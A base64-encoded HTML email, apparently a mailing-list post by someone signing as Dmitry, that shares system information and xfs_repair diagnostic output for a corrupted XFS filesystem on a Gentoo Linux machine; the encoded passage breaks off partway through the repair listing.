cj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5QUzogb3V0cHV0IG9mIHByb2dyYW1zIGFu ZCBzeXN0ZW0gaW5mbyBpbiB0aGUgYm90dG9tIG9mIHNpZ25hdHVyZS48L2ZvbnQ+DQo8cD48YnI+ DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+JiM4MjEyOzwvZm9udD48YnI+DQo8Zm9udCBz aXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7IFNpbmNlcmVseSwgRG1pdHJ5LjwvZm9udD48YnI+ DQo8YnI+DQo8YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+dW5hbWUgLWE8L2ZvbnQ+ PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPkxpbnV4IGRldmFzdGF0b3IgMy43LjEw LWdlbnRvbyAjMiBTTVAgV2VkIE1hciAyNyAxMzoyODowMCBNU0sgMjAxMyB4ODZfNjQgSW50ZWwo UikgWGVvbihUTSkgQ1BVIDMuMDBHSHogR2VudWluZUludGVsIEdOVS9MaW51eDwvZm9udD48YnI+ DQo8YnI+DQo8YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+eGZzX3JlcGFpciAtUCAv ZGV2L3NkYjE8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPlBoYXNlIDEg LSBmaW5kIGFuZCB2ZXJpZnkgc3VwZXJibG9jay4uLjwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIz IiBmYWNlPSJzZXJpZiI+UGhhc2UgMiAtIHVzaW5nIGludGVybmFsIGxvZzwvZm9udD48YnI+DQo8 Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7LSB6 ZXJvIGxvZy4uLjwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+RVJST1I6 IFRoZSBmaWxlc3lzdGVtIGhhcyB2YWx1YWJsZSBtZXRhZGF0YSBjaGFuZ2VzIGluIGEgbG9nIHdo aWNoIG5lZWRzIHRvPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iZSBy ZXBsYXllZC4gJm5ic3A7TW91bnQgdGhlIGZpbGVzeXN0ZW0gdG8gcmVwbGF5IHRoZSBsb2csIGFu ZCB1bm1vdW50IGl0IGJlZm9yZTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+cmUtcnVubmluZyB4ZnNfcmVwYWlyLiAmbmJzcDtJZiB5b3UgYXJlIHVuYWJsZSB0byBtb3Vu dCB0aGUgZmlsZXN5c3RlbSwgdGhlbiB1c2U8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFj ZT0ic2VyaWYiPnRoZSAtTCBvcHRpb24gdG8gZGVzdHJveSB0aGUgbG9nIGFuZCBhdHRlbXB0IGEg cmVwYWlyLjwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Tm90ZSB0aGF0 IGRlc3Ryb3lpbmcgdGhlIGxvZyBtYXkgY2F1c2UgY29ycnVwdGlvbiAtLSBwbGVhc2UgYXR0ZW1w dCBhIG1vdW50PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5vZiB0aGUg ZmlsZXN5c3RlbSBiZWZvcmUgZG9pbmcgdGhpcy48L2ZvbnQ+PGJyPg0KPGJyPg0KPGJyPg0KPGZv bnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPnhmc19yZXBhaXIgLW4gL2Rldi9zZGIxPC9mb250Pjxi cj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5QaGFzZSAxIC0gZmluZCBhbmQgdmVyaWZ5 IHN1cGVyYmxvY2suLi48L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPlBo YXNlIDIgLSB1c2luZyBpbnRlcm5hbCBsb2c8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFj ZT0ic2VyaWYiPiZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOy0gc2NhbiBmaWxlc3lzdGVtIGZy ZWVzcGFjZSBhbmQgaW5vZGUgbWFwcy4uLjwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNl PSJzZXJpZiI+YmxvY2sgKDMsMTQ5ODkzMy0xNDk4OTMzKSBtdWx0aXBseSBjbGFpbWVkIGJ5IGNu dCBzcGFjZSB0cmVlLCBzdGF0ZSAtIDI8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0i c2VyaWYiPmFnZl9mcmVlYmxrcyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjI1OTk0MDc2MSI+PGZvbnQg c2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4yNTk5NDA3NjE8L3U+PC9m b250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCBjb3VudGVkIDwvZm9udD48YSBo cmVmPSJ0ZWw6MjU5OTQwNzc2Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0i c2VyaWYiPjx1PjI1OTk0MDc3NjwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNl cmlmIj4mbmJzcDtpbiBhZyAzPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlm Ij5hZ2ZfZnJlZWJsa3MgPC9mb250PjxhIGhyZWY9InRlbDoyNTUwMTIzNjIiPjxmb250IHNpemU9 IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MjU1MDEyMzYyPC91PjwvZm9udD48 L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgY291bnRlZCA8L2ZvbnQ+PGEgaHJlZj0i dGVsOjI1NTAxMjM2NSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlm Ij48dT4yNTUwMTIzNjU8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ Jm5ic3A7aW4gYWcgNDwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YWdm X2ZyZWVibGtzIDwvZm9udD48YSBocmVmPSJ0ZWw6MjYwNjI3MjU1Ij48Zm9udCBzaXplPSIzIiBj b2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjI2MDYyNzI1NTwvdT48L2ZvbnQ+PC9hPjxm b250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIGNvdW50ZWQgPC9mb250PjxhIGhyZWY9InRlbDoy NjA2MjczNzIiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+ MjYwNjI3MzcyPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNw O2luIGFnIDU8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmFnZl9mcmVl YmxrcyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjI1NTE2ODY0NCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9 IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4yNTUxNjg2NDQ8L3U+PC9mb250PjwvYT48Zm9udCBz aXplPSIzIiBmYWNlPSJzZXJpZiI+LCBjb3VudGVkIDwvZm9udD48YSBocmVmPSJ0ZWw6MjU1MTY4 NjI2Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjI1NTE2 ODYyNjwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtpbiBh ZyAyPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5hZ2ZfZnJlZWJsa3Mg PC9mb250PjxhIGhyZWY9InRlbDoyMDcwNDQ5ODMiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAw MEZGIiBmYWNlPSJzZXJpZiI+PHU+MjA3MDQ0OTgzPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0i MyIgZmFjZT0ic2VyaWYiPiwgY291bnRlZCA8L2ZvbnQ+PGEgaHJlZj0idGVsOjIwNzA0NDk4NCI+ PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4yMDcwNDQ5ODQ8 L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7aW4gYWcgNjwv Zm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YWdmX2ZyZWVibGtzIDwvZm9u dD48YSBocmVmPSJ0ZWw6MjQzNjQ2MTUwIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIg ZmFjZT0ic2VyaWYiPjx1PjI0MzY0NjE1MDwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZh Y2U9InNlcmlmIj4sIGNvdW50ZWQgPC9mb250PjxhIGhyZWY9InRlbDoyNDM2NDYxMDAiPjxmb250 IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MjQzNjQ2MTAwPC91Pjwv Zm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2luIGFnIDE8L2ZvbnQ+ PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJsb2NrICgwLDkyODg3NzUtOTI4ODc3 NSkgbXVsdGlwbHkgY2xhaW1lZCBieSBjbnQgc3BhY2UgdHJlZSwgc3RhdGUgLSAyPC9mb250Pjxi cj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5ibG9jayAoMCw5MjkyODgwLTkyOTI4ODAp IG11bHRpcGx5IGNsYWltZWQgYnkgY250IHNwYWNlIHRyZWUsIHN0YXRlIC0gMjwvZm9udD48YnI+ DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmxvY2sgKDAsOTMxMTc0Ni05MzExNzQ2KSBt dWx0aXBseSBjbGFpbWVkIGJ5IGNudCBzcGFjZSB0cmVlLCBzdGF0ZSAtIDI8L2ZvbnQ+PGJyPg0K PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJsb2NrICgwLDkzMTM3NzQtOTMxMzc3NCkgbXVs dGlwbHkgY2xhaW1lZCBieSBjbnQgc3BhY2UgdHJlZSwgc3RhdGUgLSAyPC9mb250Pjxicj4NCjxm b250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5ibG9jayAoMCw0MDEwNTUyLTQwMTA1NTIpIG11bHRp cGx5IGNsYWltZWQgYnkgY250IHNwYWNlIHRyZWUsIHN0YXRlIC0gMjwvZm9udD48YnI+DQo8Zm9u dCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmxvY2sgKDAsNzI5NDAxMC03Mjk0MDEwKSBtdWx0aXBs eSBjbGFpbWVkIGJ5IGNudCBzcGFjZSB0cmVlLCBzdGF0ZSAtIDI8L2ZvbnQ+PGJyPg0KPGZvbnQg c2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJsb2NrICgwLDY5MDcxMTQtNjkwNzExNCkgbXVsdGlwbHkg Y2xhaW1lZCBieSBjbnQgc3BhY2UgdHJlZSwgc3RhdGUgLSAyPC9mb250Pjxicj4NCjxmb250IHNp emU9IjMiIGZhY2U9InNlcmlmIj5ibG9jayAoMCw0MDU4MzYwLTQwNTgzNjApIG11bHRpcGx5IGNs YWltZWQgYnkgY250IHNwYWNlIHRyZWUsIHN0YXRlIC0gMjwvZm9udD48YnI+DQo8Zm9udCBzaXpl PSIzIiBmYWNlPSJzZXJpZiI+YmxvY2sgKDAsMzg5MTc4NC0zODkxNzg0KSBtdWx0aXBseSBjbGFp bWVkIGJ5IGNudCBzcGFjZSB0cmVlLCBzdGF0ZSAtIDI8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0i MyIgZmFjZT0ic2VyaWYiPmJsb2NrICgwLDkzMjI4MjQtOTMyMjgyNCkgbXVsdGlwbHkgY2xhaW1l ZCBieSBjbnQgc3BhY2UgdHJlZSwgc3RhdGUgLSAyPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMi IGZhY2U9InNlcmlmIj5hZ2ZfZnJlZWJsa3MgPC9mb250PjxhIGhyZWY9InRlbDoyMjgyNDI3NTci Pjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MjI4MjQyNzU3 PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgY291bnRlZCA8L2Zv bnQ+PGEgaHJlZj0idGVsOjIyODI0MjkxMyI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYi IGZhY2U9InNlcmlmIj48dT4yMjgyNDI5MTM8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBm YWNlPSJzZXJpZiI+Jm5ic3A7aW4gYWcgMDwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNl PSJzZXJpZiI+c2JfZmRibG9ja3MgPC9mb250PjxhIGhyZWY9InRlbDoxNzA5Njg0OTMzIj48Zm9u dCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE3MDk2ODQ5MzM8L3U+ PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCBjb3VudGVkIDwvZm9udD48 YSBocmVmPSJ0ZWw6MTcwOTY4NTE1NyI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZh Y2U9InNlcmlmIj48dT4xNzA5Njg1MTU3PC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0i MyIgZmFjZT0ic2VyaWYiPiZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOy0gZm91bmQgcm9vdCBp bm9kZSBjaHVuazwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+UGhhc2Ug MyAtIGZvciBlYWNoIEFHLi4uPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlm Ij4mbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDstIHNjYW4gKGJ1dCBkb24ndCBjbGVhcikgYWdp IHVubGlua2VkIGxpc3RzLi4uPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlm Ij4mbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDstIHByb2Nlc3Mga25vd24gaW5vZGVzIGFuZCBw ZXJmb3JtIGlub2RlIGRpc2NvdmVyeS4uLjwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNl PSJzZXJpZiI+Jm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7LSBhZ25vID0gMDwvZm9udD48YnI+ DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEg aHJlZj0idGVsOjE2NzYyOTY2Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0i c2VyaWYiPjx1PjE2NzYyOTY2PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2Vy aWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY2NTQ0MjQi Pjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY2NTQ0MjQ8 L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9j a3MgMjU2IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2NzY0NjY4Ij48Zm9udCBzaXpl PSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2NzY0NjY4PC91PjwvZm9udD48 L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMjU1PC9mb250 Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9u dD48YSBocmVmPSJ0ZWw6MTY3Njc4ODIiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBm YWNlPSJzZXJpZiI+PHU+MTY3Njc4ODI8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNl PSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDo5MzE3 ODM2Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjkzMTc4 MzY8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBm b3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2NzY3ODgyIj48Zm9udCBzaXplPSIzIiBj b2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2NzY3ODgyPC91PjwvZm9udD48L2E+PGZv bnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48 YSBocmVmPSJ0ZWw6OTMxNzgzNyI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9 InNlcmlmIj48dT45MzE3ODM3PC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFj ZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDUzMCBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDox Njc2Nzg4MiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4x Njc2Nzg4MjwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxk IHJlc2V0IHRvIDU0NTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0 YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2NzcwOTM0Ij48Zm9udCBzaXplPSIz IiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2NzcwOTM0PC91PjwvZm9udD48L2E+ PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9u dD48YSBocmVmPSJ0ZWw6OTMwOTU5NCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZh Y2U9InNlcmlmIj48dT45MzA5NTk0PC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIg ZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjc3MDkz NCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjc3MDkz NDwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMg ZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMDk1OTUiPjxmb250IHNpemU9IjMiIGNv bG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+OTMwOTU5NTwvdT48L2ZvbnQ+PC9hPjxicj4N Cjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAyMzk2IGZvciBpbm9kZSA8 L2ZvbnQ+PGEgaHJlZj0idGVsOjE2NzcyNTk2Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBG RiIgZmFjZT0ic2VyaWYiPjx1PjE2NzcyNTk2PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIg ZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMjM5NTwvZm9udD48YnI+DQo8Zm9udCBzaXpl PSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2 Nzc1NjE5Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2 Nzc1NjE5PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2Ns YWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6OTMxOTc4NSI+PGZvbnQgc2l6ZT0i MyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT45MzE5Nzg1PC91PjwvZm9udD48L2E+ PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250 PjxhIGhyZWY9InRlbDoxNjc3NTYxOSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZh Y2U9InNlcmlmIj48dT4xNjc3NTYxOTwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9 InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMTk3 ODYiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+OTMxOTc4 NjwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJs b2NrcyA2Mjg0IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2Nzc1NjE5Ij48Zm9udCBz aXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2Nzc1NjE5PC91PjwvZm9u dD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gNjI5MTwv Zm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgMTAzIGZv ciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2NzgwNDk4Ij48Zm9udCBzaXplPSIzIiBjb2xv cj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2NzgwNDk4PC91PjwvZm9udD48L2E+PGZvbnQg c2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMTAyPC9mb250Pjxicj4NCjxm b250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmV4dGVudHMgMjcgZm9yIGlub2RlIDwvZm9u dD48YSBocmVmPSJ0ZWw6MTY3ODA0OTgiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBm YWNlPSJzZXJpZiI+PHU+MTY3ODA0OTg8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNl PSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAyNjwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBm YWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2NzgxOTU5 Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2NzgxOTU5 PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBm cmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6NzI5NTIxNCI+PGZvbnQgc2l6ZT0iMyIgY29s b3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT43Mjk1MjE0PC91PjwvZm9udD48L2E+PGJyPg0K PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhy ZWY9InRlbDoxNjc4MTk1OSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNl cmlmIj48dT4xNjc4MTk1OTwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlm Ij4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjcyOTUyMTUiPjxm b250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+NzI5NTIxNTwvdT48 L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyA3 NiBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjc4MTk1OSI+PGZvbnQgc2l6ZT0iMyIg Y29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjc4MTk1OTwvdT48L2ZvbnQ+PC9hPjxm b250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDgxPC9mb250Pjxicj4N Cjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQga2V5IGluIGJtYnQgcm9vdCAoaXMgMTg1 Niwgd291bGQgcmVzZXQgdG8gMTg0NCkgaW4gaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjc4 MjA3MCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjc4 MjA3MDwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtkYXRh IGZvcms8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tz IDMwNjAgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY3ODIwNzAiPjxmb250IHNpemU9 IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY3ODIwNzA8L3U+PC9mb250Pjwv YT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAzMDU5PC9mb250 Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmV4dGVudHMgNjQyIGZvciBp bm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2NzgyMDcwIj48Zm9udCBzaXplPSIzIiBjb2xvcj0i IzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2NzgyMDcwPC91PjwvZm9udD48L2E+PGZvbnQgc2l6 ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gNjQxPC9mb250Pjxicj4NCjxmb250 IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0 ZWw6MTY3ODM0MDMiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+ PHU+MTY3ODM0MDM8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5i c3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDoxMzQ1Nzc5NTc5Ij48Zm9u dCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjEzNDU3Nzk1Nzk8L3U+ PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGlu IGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2NzgzNDAzIj48Zm9udCBzaXplPSIzIiBjb2xvcj0i IzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2NzgzNDAzPC91PjwvZm9udD48L2E+PGZvbnQgc2l6 ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVm 